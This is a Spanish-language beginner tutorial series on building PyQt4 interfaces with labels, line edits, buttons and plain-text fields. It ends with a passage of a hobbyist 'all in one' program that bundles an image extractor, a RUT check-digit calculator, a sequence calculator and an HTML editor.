Código (python) [Seleccionar] Expandir


def funcion(self):
  recibo_datos = str(self.input_datos.text())

Y con ello ya tendremos en nuestras manos el valor del QLineEdit() en la variable. Ahora con ella podemos hacer lo mismo que hacemos en nuestros códigos Python normales, a nuestro antojo.

Pero como quedó pendiente en la pasada parte sobre utilizar el valor del QLineEdit() en el QLabel(), con lo que hemos visto ya deberíamos saber hacerlo , de todas formas dejaré el código con comentarios :

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
import sys

class Mi_Programa(QtGui.QWidget):
 
  def __init__(self, parent=None):
   
    QtGui.QWidget.__init__(self, parent)
    self.resize(200,134)
    #Creamos los Labels,label_mensaje "Mensaje:", label_resultado el mensaje de "Resultado:"
    #Y el tercero mostrará el texto ingresado.
    self.label_mensaje = QtGui.QLabel("Mensaje:", self)
    self.label_mensaje.setGeometry(3,14,59,17)
    self.label_resultado = QtGui.QLabel("Resultado:", self)
    self.label_resultado.setGeometry(5,80,71,17)
    self.label_show = QtGui.QLabel("",self)
    self.label_show.setGeometry(80,80,111,17)
    #Creamos el QLineEdit para pedir datos
    self.input_datos = QtGui.QLineEdit(self)
    self.input_datos.setGeometry(60,10,113,27)
    #Creamos el Boton
    self.mi_boton = QtGui.QPushButton("Dame Clic", self)
    self.mi_boton.setGeometry(60,40,92,27)
    #Le damos función al botón
    self.connect(self.mi_boton, QtCore.SIGNAL('clicked()'), self.show_message)
   
  def show_message(self):
    mensaje = str(self.input_datos.text())
    self.label_show.setText(mensaje)
aplicacion = QtGui.QApplication(sys.argv)
formulario = Mi_Programa()
formulario.show()
aplicacion.exec_()

Explico un poco:
Al dar clic en el botón, llamamos a la función show_message() en la cual obtendremos el dato de self.input_datos, posteriormente guardamos el valor en la variable mensaje y como ya vimos, usamos setText(mensaje) para darle el nuevo valor al QLabel().

  Supongo que ya no hay temas pendientes con QLineEdit, QLabel, QPushButton , veamos el uso de otros Widgets, el siguiente es QPlainTextEdit().

  Como dice su nombre, es para insertar un texto plano, a diferencia del QLineEdit, este es multilíneas.

La manera de utilización es la siguiente :

Código (python) [Seleccionar] Expandir

self.texto_plano = QtGui.QPlainTextEdit("", self)
Como ya sabemos, usamos la propiedad setGeometry() para dar posición, ancho y altura.
 
  Para obtener los datos que se insertan en dicho widget, usaremos la propiedad toPlainText(), que es el equivalente al .text() del QLineEdit.

  Para insertar datos en un QPlainTextEdit(), debemos usar setPlainText('Msj').

Un pequeño ejemplo de lo que he escrito en código :

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
import sys

class Mi_Programa(QtGui.QWidget):
 
  def __init__(self, parent=None):
   
    QtGui.QWidget.__init__(self, parent)
    self.resize(400,319) # Tamaño
    #Creamos el primer PlainTextEdit que luego envía los datos al segundo
    self.texto_plano = QtGui.QPlainTextEdit("", self)
    self.texto_plano.setGeometry(10,10,191,271)
    #Creamos el botón
    self.transcribir = QtGui.QPushButton("Transcribir", self)
    self.transcribir.setGeometry(10,285,95,27)
    #Creamos el segundo PlainTextEdit que recibirá el primer contenido
    self.nuevo_txt = QtGui.QPlainTextEdit("", self)
    self.nuevo_txt.setGeometry(206,10,191,271)
    #Le damos la función al botón y llamamos al def transcribe
    self.connect(self.transcribir, QtCore.SIGNAL('clicked()'), self.transcribe)

  def transcribe(self):
    #Obtenemos el contenido del primer QPlainTextEdit
    contenido = self.texto_plano.toPlainText()
    #Escribimos el contenido del primer QPlainTextEdit en el segundo
    #Usando setPlainText
    self.nuevo_txt.setPlainText(contenido)
   
aplicacion = QtGui.QApplication(sys.argv)
formulario = Mi_Programa()
formulario.show()
aplicacion.exec_()


Luego seguiré con el QTextBrowser(), que nos permite ingresar código HTML en el campo de escritura...

Fuente : http://rootcodes.com/tutorialaprendiendo-pyqt4-con-rootcodes-parte4/

Saludos, Javier.

[Nuestro primer Hola mundo en PyQT4]

Hola ! , en la pasa ocasión quedaron pendientes un par de puntos :

   
• Dar función a un botón
• Crear un QLabel()
• Nuestro primer Hola mundo en PyQT4

Bien, manos a la obra, para quienes no sepan que es un Label, dejaré un Screenshot , es algo bien sencillo:


Sencillo no ? , nos servirá para imprimir resultados por pantalla, como dije en la primera parte, como un reemplazo al print de la versión Python en Consola.

Bueno... ¿ Y cómo uso el QLabel ?

Nada más que esto:

Código (python) [Seleccionar] Expandir


self.mi_label = QtGui.QLabel("Mi texto", self)

Luego pueden cambiar las coordenadas con el ya mencionado self.objeto.setGeometry() (donde objeto puede ser un QLabel, QLineEdit, etc)

  Siguiendo con algo más "útil", pasaré a explicar como dar vida a los famosos Botones.

  Para poder crear acciones al dar clic en un botón, usaremos self.connect(), pero antes de ello, debemos tener una función creada para que al dar clic, esta se ejecute...

  La sintaxis del self.connect será esta:

Código (python) [Seleccionar] Expandir

self.connect(self.mi_boton, QtCore.SIGNAL("clicked()"), self.respuesta)
Paso a explicar:

   
• self.connect(self.mi_boton = Eso indica que la función self.respuesta solo será ejecutada al dar clic en el botón "self.mi_boton"
• QtCore.SIGNAL('clicked()'), quiere decir que será ejecutado al ser clickeado
• self.respuesta) es la función que se ejecuta al ser clickeado el botón

Osea, en nuestros programas, la única parte que debería cambiar serían self.mi_boton y self.respuesta, veamos como queda el código:

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
import sys

class Mi_Programa(QtGui.QWidget):
 
  def __init__(self, parent=None):
   
    QtGui.QWidget.__init__(self, parent)
    self.resize(200,200) #Dimensiones del formulario
    self.mi_boton = QtGui.QPushButton("Boton", self) # Creo el QPushButton()
    self.mi_boton.setGeometry(10,10,92,27) #X = 10 ; Y = 15 ; Width = 92 ; Height = 27
    self.connect(self.mi_boton, QtCore.SIGNAL('clicked()'), self.respuesta)
    self.mi_label = QtGui.QLabel('', self)#Lo definimos sin texto, luego le damos un valor
    self.mi_label.setGeometry(10,40,92,27)
   
aplicacion = QtGui.QApplication(sys.argv)
formulario = Mi_Programa() # Instanciamos la clase de nuestro programa
formulario.show() # Mostramos el Formulario
aplicacion.exec_() # Ejecutamos

  Bien hasta ahí... Pero algo falta... La función respuesta !
Haremos algo sencillo, que al dar clic en el botón, nos cree un QLabel con una respuesta:

Código (python) [Seleccionar] Expandir


  def respuesta(self):
    self.mi_label.setText('Gracias !')

Pero que es eso ! ? , setText() ?
Sí, es la propiedad que usaremos para definir un texto en el QLabel(), siempre y cuando el QLabel() ya haya sido creado.

Entonces nuestro código será el siguiente, ya terminado:

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
import sys

class Mi_Programa(QtGui.QWidget):
 
  def __init__(self, parent=None):
   
    QtGui.QWidget.__init__(self, parent)
    self.resize(200,200) #Dimensiones del formulario
    self.mi_boton = QtGui.QPushButton("Boton", self) # Creo el QPushButton()
    self.mi_boton.setGeometry(10,10,92,27) #X = 10 ; Y = 15 ; Width = 92 ; Height = 27
    self.connect(self.mi_boton, QtCore.SIGNAL('clicked()'), self.respuesta)
    self.mi_label = QtGui.QLabel('', self)
    self.mi_label.setGeometry(10,40,92,27)
   
  def respuesta(self):
    self.mi_label.setText('Gracias !') #Defino un texto al dar clic en self.mi_boton
   
aplicacion = QtGui.QApplication(sys.argv)
formulario = Mi_Programa() # Instanciamos la clase de nuestro programa
formulario.show() # Mostramos el Formulario
aplicacion.exec_() # Ejecutamos

Genial ! , ya tenemos nuestro primer programa en PyQT4. Nos aparecerá el formulario con el botón y al dar clic aparecerá el mensaje: "Gracias !"


Los puntos :

   
• Dar función a un botón
• Crear un QLabel()
• Nuestro primer Hola mundo en PyQT4

Ya fueron tratados en esta 3era parte... En la siguiente parte explicaré como obtener los datos ingresados en un QLineEdit(), mostrarlos en un QLabel() al dar clic en un QPushButton(). Ya con eso podrán empezar a crear vuestras aplicaciones !

Fuente : http://rootcodes.com/tutorialaprende-pyqt4-con-rootcodes-parte3

Saludos , Javier !

[QLineEdit() y un QPushButton()]

Hola nuevamente !

Siguiendo con el tutorial, pasaré a explicar como implementar un QLineEdit() y un QPushButton(), para que tengan una idea de que les hablo :

Código [Seleccionar] Expandir


<input value="Esto es un QLineEdit()">
<input value="Esto es un QPushButton()" type="submit">
(ESO EN HTML)

  Ello mismo, pero en PyQT4. Bien, para poder insertar nuestro QLineEdit, debemos añadir bajo la línea del self.resize(200,200):

Código (python) [Seleccionar] Expandir


self.mi_qlinedit = QtGui.QLineEdit(self)

Quedando así en nuestro form:

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
import sys

class Mi_Programa(QtGui.QWidget):
 
  def __init__(self, parent=None):
   
    QtGui.QWidget.__init__(self, parent)
    self.resize(200,200) #Dimensiones del formulario
    self.mi_qlinedit = QtGui.QLineEdit(self) # añadimos el QLineEdit

aplicacion = QtGui.QApplication(sys.argv)
formulario = Mi_Programa() # Instanciamos la clase de nuestro programa
formulario.show() # Mostramos el Formulario
aplicacion.exec_() # Ejecutamos


Y Pues para añadir un botón:

Código (python) [Seleccionar] Expandir


self.mi_boton = QtGui.QPushButton("Hola, soy un boton!", self)

Nuestro formulario quedaría así:

Código (python) [Seleccionar] Expandir

# -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
import sys

class Mi_Programa(QtGui.QWidget):
 
  def __init__(self, parent=None):
   
    QtGui.QWidget.__init__(self, parent)
    self.resize(200,200) #Dimensiones del formulario
    self.mi_boton = QtGui.QPushButton("Hola, soy un boton!", self)

aplicacion = QtGui.QApplication(sys.argv)
formulario = Mi_Programa() # Instanciamos la clase de nuestro programa
formulario.show() # Mostramos el Formulario
aplicacion.exec_() # Ejecutamos


Nota: Podemos utilizar cualquier variable, siempre anteponiendo el self., solo que yo usé mi_boton para darle un nombre descriptivo.

  Bien, ya sabemos como insertar nuestros primeros Widgets en PyQT4, pero verás que al mezclar ambos, solo muestra un widget, esto sucede porque no le hemos dado una ubicación, por lo que ambos se posición en las coordenadas X = 0; Y = 0 , así uno se sobre pone del otro.

Entonces, ¿ Cómo ubico mi widget donde yo quiera ?

  Sencillo ! , debemos utilizar la propiedad setGeometry(X,Y,Width, Height) , Donde X será la ubicación hacia los costados e Y arriba y abajo. Aquí es donde yo recomiendo usar el QT Designer, pues nos ayudará a ubicar nuestro Widget de manera correcta y no dirá en que ubicación se encuentra.

  Recomiendo utilizar en el botón, el height 27, que es la altura de un botón normal. El width dependerá del ancho del texto de nuestro botón. (width = ancho ; height = altura)

  En lo que respecta el QLineEdit, recomiendo usar también el height = 27
  Así quedando la mezcla:

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
import sys

class Mi_Programa(QtGui.QWidget):
 
  def __init__(self, parent=None):
   
    QtGui.QWidget.__init__(self, parent)
    self.resize(200,200) #Dimensiones del formulario
    self.mi_boton = QtGui.QPushButton("Boton", self) # Creo el QPushButton()
    self.mi_boton.setGeometry(10,40,92,27) #X = 10 ; Y = 15 ; Width = 92 ; Height = 27
    self.mi_qlinedit = QtGui.QLineEdit(self) # Creo el QLineEdit()
    self.mi_qlinedit.setGeometry(10,10,92,27) # X = 10 ; Y = 10 ; Width = 92 ; Height = 27
   
aplicacion = QtGui.QApplication(sys.argv)
formulario = Mi_Programa() # Instanciamos la clase de nuestro programa
formulario.show() # Mostramos el Formulario
aplicacion.exec_() # Ejecutamos
Un ScreenShot:


En la siguiente parte, explicaré como darle función a un botón e implementar un QLabel() con un resultado posterior !

Fuente : http://rootcodes.com/tutorialaprende-pyqt4-con-rootcodes-parte2

Saludos, Javier !

["enseñar"]

Hola, buen día.
 
    En esta ocasión vengo a "enseñar" un poco sobre lo que es la aplicación de QT4 en nuestro siempre querido Python.
   
    En esta guía pretendo explicar la base para crear un formulario y los distintos widgets a utilizar, como dar función a un botón, obtener datos de campos QLineEdit(), insertar datos en diferentes tipos de widgets, tales como QLineEdit, QPlainText, QTextBrowser, etc. Y pues ya lo demás es saber
lo básico de Python, pero en ves de pedir los datos vía raw_input() estos son reemplazados por los ya mencionados QLineEdit, para imprimir un dato por pantalla podemos usar QLabel. Ya lo demás es saber programar en Python nada más !


  Bien, antes que todo, veamos que es QT, según la conocida Wikipedia :

 

Qt es una biblioteca multiplataforma ampliamente usada para desarrollar aplicaciones con una interfaz gráfica
de usuario así como también para el desarrollo de programas sin interfaz gráfica como herramientas para
la línea de comandos y consolas para servidores.

  Ya, vamos al grano...
  ¿ Qué necesito para programar en PyQT4 ?

    Necesitas obviamente tener instalado Python:

Código [Seleccionar] Expandir

sudo apt-get install python

    Una vez instalado, debemos instalar las librerías QT4:

Código [Seleccionar] Expandir

sudo apt-get install python-qt4

    Esto es <em>opcional</em>, es el QT4 Designer, que nos ayuda a crear la interfaz gráfica, pero en C++

Código [Seleccionar] Expandir

sudo apt-get install qt4-designer

    Y lo siguiente, es para traducir el código C++ a PyQT4, en caso de usar el QT4 Designer:

Código [Seleccionar] Expandir

sudo apt-get install pyqt4-dev-tools

    Aclaro que yo a lo largo del tutorial solo usaré el QT4 Designer para saber las dimensiones de los
widgets, tamaños y propiedades.

   Bueno, volvamos al tema... Vamos a empezar !

  La base de todos los programas en PyQT4 debe ser:

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
#Autor: JaAViEr(0x5d)
#Website: http://www.rootcodes.com
#Twitter: @0x5d

from PyQt4 import QtCore, QtGui
import sys

class Mi_Programa(QtGui.QWidget):
 
  def __init__(self, parent=None):
   
    QtGui.QWidget.__init__(self, parent)
    self.resize(200,200) #Dimensiones del formulario
   
aplicacion = QtGui.QApplication(sys.argv)
formulario = Mi_Programa() # Instanciamos la clase de nuestro programa
formulario.show() # Mostramos el Formulario
aplicacion.exec_() # Ejecutamos
Si has copiado y pegado bien, la salida debe ser:


Genial, nuestra primera mini aplicación en PyQT4, en la segunda parte empezaremos a utilizar los widgets QLineEdit(), QLabel() y QPushButton()

Fuente : http://rootcodes.com/tutorialaprende-pyqt4-con-rootcodes-parte1

[PythonQT]

Hola, tengan muy buenos días !

 Hoy, pasando por un foro en el cual participo, tocaron un tema sobre PythonQT y me recordé que hace rato que no hacía nada en él y pues tras la perdida de mi otro HDD ni instalado lo tenía en este Debian.
 
 Así que me senté a pensar que codear y se me vino a la mente meter todas las aplicaciones QT4 que he hecho (que son bien pocas) en un solo PyQT4 para acceder a ellas por un boton nada más, así que me puse en marcha y este fue el resultado :

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
#Autor : 0x5d
#Website : http://www.rootcodes.com
#Twitter : 0x5d

import sys, urllib2, re, urllib
from PyQt4 import QtCore, QtGui, QtWebKit

class all_in_one(QtGui.QWidget):

 def __init__(self, parent=None):

   QtGui.QWidget.__init__(self,parent)
   self.resize(400, 203)
   self.setWindowTitle('Todo en uno PyQT4 - JaAViEr')
   self.boton_extractor = QtGui.QPushButton('Extractor de imagenes', self)
   self.boton_extractor.setGeometry(10, 10, 171, 51)
   self.connect(self.boton_extractor, QtCore.SIGNAL('clicked()'), self.show_extractor)
   self.boton_digitoveri = QtGui.QPushButton('Obtener digito verificador', self)
   self.boton_digitoveri.setGeometry(190, 10, 191, 51)
   self.connect(self.boton_digitoveri, QtCore.SIGNAL('clicked()'), self.show_digitoveri)
   self.boton_calculadorasecuencias = QtGui.QPushButton('Calculadora por secuencias', self)
   self.boton_calculadorasecuencias.setGeometry(10, 70, 201, 51)
   self.connect(self.boton_calculadorasecuencias, QtCore.SIGNAL('clicked()'), self.show_secuencias)
   self.boton_htmlhelper = QtGui.QPushButton('HTML Helper', self)
   self.boton_htmlhelper.setGeometry(10, 130, 101, 51)
   self.connect(self.boton_htmlhelper, QtCore.SIGNAL('clicked()'), self.show_htmlhelper)
   self.boton_twitter = QtGui.QPushButton('Menciones Twitter', self)
   self.boton_twitter.setGeometry(220, 70, 161, 51)
   self.connect(self.boton_twitter, QtCore.SIGNAL('clicked()'), self.show_twitter)
   self.boton_calculadora = QtGui.QPushButton('Calculadora', self)
   self.boton_calculadora.setGeometry(120, 130, 92, 51)
   self.connect(self.boton_calculadora, QtCore.SIGNAL('clicked()'), self.show_calculadora)
   self.boton_versource = QtGui.QPushButton('Ver codigo de fuente', self)
   self.boton_versource.setGeometry(220, 130, 171, 51)
   self.connect(self.boton_versource, QtCore.SIGNAL('clicked()'), self.show_viewsource)

 def show_extractor(self):

   extractor.show()

 def show_digitoveri(self):

   digito.show()

 def show_viewsource(self):

   source.show()

 def show_calculadora(self):

   calculadora.show()

 def show_twitter(self):

   twitter.show()

 def show_htmlhelper(self):

   html_helper.show()

 def show_secuencias(self):

   secuencia.show()

# Inicio Obtener dígito verificador
class ventana_alerta(QtGui.QWidget):

 def __init__(self, parent=None):

   QtGui.QWidget.__init__(self, parent)
   self.resize(283, 31)
   self.setWindowTitle('ALERTA!')

 def message(self, txt):

   self.txt = txt
   self.respuesta = QtGui.QLabel(self.txt, self)
   self.respuesta.setGeometry(10, 10, 260, 17)

class formulario_rut(QtGui.QWidget):

 def __init__(self, parent=None):

   QtGui.QWidget.__init__(self, parent)
   self.setWindowTitle('Digito verificador')
   self.resize(279, 36)
   self.label_rut = QtGui.QLabel('RUT', self)
   self.label_rut.setGeometry(0, 11, 59, 17)
   self.rut = QtGui.QLineEdit(self)
   self.rut.setGeometry(30, 7, 101, 23)
   self.label_verificador = QtGui.QLabel('-', self)
   self.label_verificador.setGeometry(135, 11, 16, 17)
   self.digito = QtGui.QLineEdit(self)
   self.digito.setGeometry(147, 7, 21, 23)
   self.digito.setReadOnly(True)
   self.verificar = QtGui.QPushButton('Verificar', self)
   self.verificar.setGeometry(180, 7, 92, 23)
   self.connect(self.verificar, QtCore.SIGNAL('clicked()'), self.operacion)

 def operacion(self):

   self.rut_valor = str(self.rut.text())
   if len(self.rut_valor) < 8 and len(self.rut_valor) > 9:

     creacion_alerta.message('Ingresa un rut valido por favor')
     creacion_alerta.show()

   else:

     rut = []
     ingresar = [rut.append(numeros) for numeros in self.rut_valor]
     rut.reverse()
     recorrido = 2
     multiplicar = 0

     for x in rut:
       multiplicar+=int(x)*recorrido
       if recorrido==7: recorrido = 1
       recorrido+=1

     modulo = multiplicar%11
     resultado = 11-modulo
     if resultado == 11: digito=0
     elif resultado == 10: digito="K"
     else: digito=resultado
     self.digito.setText(str(digito))
#Fin obtener dígito verificador

#Inicio extractor
class extractor(QtGui.QWidget):

   def __init__(self, parent=None):

     QtGui.QWidget.__init__(self, parent)
     self.resize(602, 514)
     self.setWindowTitle(QtGui.QApplication.translate('self', 'Extractor de imágenes :: JaAViEr (0x5d)', None, QtGui.QApplication.UnicodeUTF8))
     self.label_url = QtGui.QLabel('Url', self)
     self.label_url.setGeometry(10, 15, 21, 16)
     self.input_url = QtGui.QLineEdit(self)
     self.input_url.setGeometry(30, 13, 561, 19)
     self.label_salida = QtGui.QLabel('Salida', self)
     self.label_salida.setGeometry(12, 40, 57, 15)
     self.boton_extraer = QtGui.QPushButton(QtGui.QApplication.translate('self', 'Extraer imágenes', None, QtGui.QApplication.UnicodeUTF8), self)
     self.boton_extraer.setGeometry(469, 37, 121, 20)
     self.connect(self.boton_extraer, QtCore.SIGNAL('clicked()'), self.extraer_todo)
     self.listWidget = QtGui.QListWidget(self)
     self.listWidget.setGeometry(QtCore.QRect(5, 60, 591, 441))
   
   def extraer_todo(self):

     url_imagenes = ""
     clear = ""
     i = 0
     self.web = str(self.input_url.text())
     for imagen in re.findall('<img (.*)>',urllib.urlopen(self.web).read()):
       if "src" in imagen.lower():

         for imagenes in imagen.split():
           if re.findall('src=(.*)',imagenes):

             clear = imagenes[:-1].replace('src=\"','"')
             QtGui.QListWidgetItem(self.listWidget)
             self.listWidget.item(i).setText('%s.- %s'%(i, clear.replace(self.web,'"')))
             i+=1
class secuencia(QtGui.QWidget):

 def __init__(self, parent=None):

   QtGui.QWidget.__init__(self, parent)
   self.resize(411, 60)
   self.setWindowTitle('Calculadora de secuencias :: JaAViEr(0x5d)')
   self.input_secuencia = QtGui.QLineEdit(self)
   self.input_secuencia.setGeometry(80, 5, 321, 21)
   self.label_secuencia = QtGui.QLabel('Secuencia', self)
   self.label_secuencia.setGeometry(5, 2, 71, 31)
   self.boton_ver = QtGui.QPushButton('Ver', self)
   self.boton_ver.setGeometry(323, 30, 81, 21)
   self.input_resultado = QtGui.QLineEdit(self)
   self.input_resultado.setGeometry(80, 30, 240, 21)
   self.input_resultado.setReadOnly(True)
   self.label_resultado = QtGui.QLabel('Resultado', self)
   self.label_resultado.setGeometry(5, 31, 71, 21)
   self.connect(self.boton_ver, QtCore.SIGNAL('clicked()'), self.ejecutar)
 
 def ejecutar(self):

   try:

     self.resultado = str(self.input_secuencia.text())
     self.input_resultado.setText(str(eval(self.resultado)))

   except:

     self.input_resultado.setText(QtGui.QApplication.translate('self', 'Operación inválida', None, QtGui.QApplication.UnicodeUTF8))

class html_helper(QtGui.QMainWindow):

 def __init__(self):

   QtGui.QMainWindow.__init__(self)
#Boton Bold
   self.bold = QtGui.QPushButton('Bold',self)
   self.bold.setGeometry(172,26,41,25)
   self.connect(self.bold,QtCore.SIGNAL('clicked()'), self.make_bold)
#Boton Italic
   self.italic = QtGui.QPushButton('Italic',self)
   self.italic.setGeometry(216,26,41,25)
   self.connect(self.italic,QtCore.SIGNAL('clicked()'), self.make_italic)
#Boton Underline
   self.underline = QtGui.QPushButton('Underline',self)
   self.underline.setGeometry(261,26,63,25)
   self.connect(self.underline,QtCore.SIGNAL('clicked()'), self.make_underline)
#Nuevo menu "Archivo"
   menu_archivo = self.menuBar()
   archivo = menu_archivo.addMenu('&Archivo')
#Menu Abrir
   abrir = QtGui.QAction('&Abrir',self)
   abrir.setShortcut('Ctrl+O')
   archivo.addAction(abrir)
   self.connect(abrir, QtCore.SIGNAL('triggered()'),self.abrir)
#Menu Abrir URL
   abrir_url = QtGui.QAction('Abrir desde &URL',self)
   abrir_url.setShortcut('Ctrl+U')
   archivo.addAction(abrir_url)
   self.connect(abrir_url, QtCore.SIGNAL('triggered()'),self.get_source)
#Menu Guardar
   guardar = QtGui.QAction('&Guardar',self)
   guardar.setShortcut('Ctrl+S')
   archivo.addAction(guardar)
   self.connect(guardar, QtCore.SIGNAL('triggered()'),self.guardar)
#Menu salir
   salida = QtGui.QAction('&Exit', self)
   salida.setShortcut('Ctrl+W')
   archivo.addAction(salida)
   self.connect(salida, QtCore.SIGNAL('triggered()'), QtCore.SLOT('close()'))
#Fin del menú Archivo
#Nuevo menú Herramientas
   menu_inputs = self.menuBar()
   herramientas = menu_inputs.addMenu('&Herramientas')
#Menu textarea
   textarea = QtGui.QAction('Agregar &TextArea', self)
   herramientas.addAction(textarea)
   self.connect(textarea, QtCore.SIGNAL('triggered()'), self.add_textarea)
#Menu input
   inputx = QtGui.QAction('Agregar &Input', self)
   herramientas.addAction(inputx)
   self.connect(inputx, QtCore.SIGNAL('triggered()'), self.add_input)
#Menu Boton
   boton = QtGui.QAction('Agregar &Boton', self)
   herramientas.addAction(boton)
   self.connect(boton, QtCore.SIGNAL('triggered()'), self.add_button)
#Menu Imagen
   imagen = QtGui.QAction('Agregar I&magen', self)
   herramientas.addAction(imagen)
   self.connect(imagen, QtCore.SIGNAL('triggered()'), self.add_imagen)
#Menu Cambiar Fondo
   fondo = QtGui.QAction('Color de &Fondo', self)
   herramientas.addAction(fondo)
   self.connect(fondo, QtCore.SIGNAL('triggered()'), self.add_fondo)
#Menu Link
   link = QtGui.QAction('Agregar &Link', self)
   herramientas.addAction(link)
   self.connect(link, QtCore.SIGNAL('triggered()'), self.add_link)
#Fin menú Herramientas
   self.resize(729, 674)
   self.pest_code = QtGui.QTabWidget(self)
   self.pest_code.setGeometry(QtCore.QRect(0, 30, 711, 631))
   self.tab = QtGui.QWidget()
   self.html_plano = QtGui.QPlainTextEdit(self.tab)
   self.html_plano.setGeometry(QtCore.QRect(10, 30, 691, 571))
   self.boton_previw = QtGui.QPushButton('Preview',self.tab)
   self.boton_previw.setGeometry(QtCore.QRect(10, 4,83, 21))
   self.pest_code.addTab(self.tab, '')
   self.tab_2 = QtGui.QWidget()
#Nuevo menú Fuente / Colores
   font_color = self.menuBar()
   fuentes_colores = font_color.addMenu('&Fuente / Colores')
#Menu Buscar Color
   search_color = QtGui.QAction('Buscar Color', self)
   fuentes_colores.addAction(search_color)
   self.connect(search_color, QtCore.SIGNAL('triggered()'), self.find_color)
#Menu buscar Fuente
   search_font = QtGui.QAction('Buscar Fuente', self)
   fuentes_colores.addAction(search_font)
   self.connect(search_font, QtCore.SIGNAL('triggered()'), self.find_font)
   self.vista_web = QtWebKit.QWebView(self.tab_2)
   self.vista_web.setGeometry(QtCore.QRect(10, 10, 691, 591))
   self.pest_code.addTab(self.tab_2, '')
   self.pest_code.setCurrentIndex(0)
   QtCore.QMetaObject.connectSlotsByName(self)
   self.setWindowTitle('Create HTML Helper.')
   self.pest_code.setTabText(self.pest_code.indexOf(self.tab),'Codigo')
   self.pest_code.setTabText(self.pest_code.indexOf(self.tab_2), 'Prevista')
   self.connect(self.boton_previw, QtCore.SIGNAL('clicked()'), self.done)  

 def make_bold(self):

   self.html_final = "%s<br />\n<b></b>"%self.html_plano.toPlainText()
   self.html_plano.setPlainText(self.html_final)  

 def make_italic(self):

   self.html_final = "%s<br />\n<i></i>"%self.html_plano.toPlainText()
   self.html_plano.setPlainText(self.html_final)  

 def make_underline(self):

   self.html_final = "%s<br />\n<u></u>"%self.html_plano.toPlainText()
   self.html_plano.setPlainText(self.html_final)  

 def done(self):

   self.salida = self.html_plano.toPlainText()
   temporal = open('tmp.html','w')
   temporal.write(self.salida)
   temporal.close()
   self.vista_web.setUrl(QtCore.QUrl('tmp.html'))
   self.pest_code.setCurrentIndex(1)

 def guardar(self):

   self.obtener_html = self.html_plano.toPlainText()
   try:

     nombre_save = QtGui.QFileDialog.getSaveFileName(self, 'Guardar Archivo','/home')
     guardando_html = open(nombre_save, 'w')
     guardando_html.write(self.obtener_html)
     guardando_html.close()
     alertas.show()
     alertas.alerta('Advertencia','Guardado!')
   except:

     alertas.show()
     alertas.alerta('Advertencia','No Guardado')

 def abrir(self):

   nombre_open = QtGui.QFileDialog.getOpenFileName(self, 'Abrir Archivo','/home')
   abriendo_html = open(nombre_open, 'r')
   contenido = abriendo_html.read()
   self.html_plano.setPlainText(contenido)

 def add_textarea(self):

   rows, respuesta_rows = QtGui.QInputDialog.getText(self, 'Rows','Numero de Lineas:')
   if respuesta_rows:

     rows = " rows=\"%s\""%str(rows)
   else:

     rows = ""
   cols, respuesta_cols = QtGui.QInputDialog.getText(self, 'Cols','Numero de Columnas:')
   if respuesta_cols:

     cols = " cols=\"%s\""%str(cols)
   else:

     cols = ""
   self.html_final = "%s<br />\n<textarea%s%s></textarea>"%(self.html_plano.toPlainText(),rows,cols)
   self.html_plano.setPlainText(self.html_final)  

 def add_input(self):

   value, respuesta_value = QtGui.QInputDialog.getText(self, 'Valor','Valor por defecto:')
   if respuesta_value:

     value = " value=\"%s\""%str(value)
   else:

     value = ""
   self.html_final = "%s<br />\n<input%s>"%(self.html_plano.toPlainText(),value)
   self.html_plano.setPlainText(self.html_final)  

 def add_button(self):

   button, respuesta_boton = QtGui.QInputDialog.getText(self, 'Valor','Valor del Boton:')
   if respuesta_boton:

     button = " value=\"%s\""%str(button)
   else:

     button = ""
   self.html_final = "%s<br />\n<input  type=\"Submit\"%s>"%(self.html_plano.toPlainText(),button)
   self.html_plano.setPlainText(self.html_final)  

 def add_imagen(self):

   imagen, respuesta_imagen = QtGui.QInputDialog.getText(self, 'Valor','URL de la Imagen:')
   if respuesta_imagen:

     imagen = " src=\"%s\""%str(imagen)
   else:

     imagen = ""
   width, respuesta_width = QtGui.QInputDialog.getText(self, 'Valor','Ancho:')
   if respuesta_width:

     width = " width=\"%s\""%str(width)
   else:

     width = ""
   height, respuesta_height = QtGui.QInputDialog.getText(self, 'Valor','Alto:')
   if respuesta_height:

     height = " height=\"%s\""%str(height)
   else:

     height = ""
   self.html_final = "%s<br />\n<img%s%s%s>"%(self.html_plano.toPlainText(),imagen,width,height)
   self.html_plano.setPlainText(self.html_final)  

 def add_fondo(self):

   color = QtGui.QColorDialog.getColor()
   if color.isValid():

     if not "<body" in self.html_plano.toPlainText():
       self.html_final = "<body bgcolor=\"%s\">%s</body>"%(color.name(),self.html_plano.toPlainText())
       self.html_plano.setPlainText(self.html_final)
     else:

       for i in re.findall('<body bgcolor=\"(.*)\">',self.html_plano.toPlainText()):
         anterior=i
       self.html_final = self.html_plano.toPlainText().replace(anterior,color.name())

       self.html_plano.setPlainText(self.html_final)
   else:

     self.html_final = "<body bgcolor=\"#FFFFFF\">%s</body>"%(self.html_plano.toPlainText())
     self.html_plano.setPlainText(self.html_final)

 def find_color(self):

   busca_color= QtGui.QColorDialog.getColor()
   if busca_color.isValid():
     alertas.show()
     alertas.alerta('Advertencia','Color %s'%busca_color.name())

 def get_source(self):

   url, respuesta_url = QtGui.QInputDialog.getText(self, 'Get','URL:')
   try:

     self.html_plano.setPlainText(urllib2.urlopen(str(url)).read())

   except:

     alertas.show()
     alertas.alerta('Advertencia','Contenido no encontrado')

 def add_link(self):

   link, respuesta_link = QtGui.QInputDialog.getText(self, 'Link','Link:')
   if respuesta_link:

     link = " href=\"%s\""%link

   else:

     link = ""

   name, respuesta_name = QtGui.QInputDialog.getText(self, 'Nombre','Nombre:')
   if respuesta_name:

     name = "%s"%name

   else:

     name = "%s"%link
   self.html_final = "%s<br />\n<a%s>%s</a>"%(self.html_plano.toPlainText(),link,name)
   self.html_plano.setPlainText(self.html_final)  

 def find_font(self):

   QtGui.QFontDialog.getFont()
 
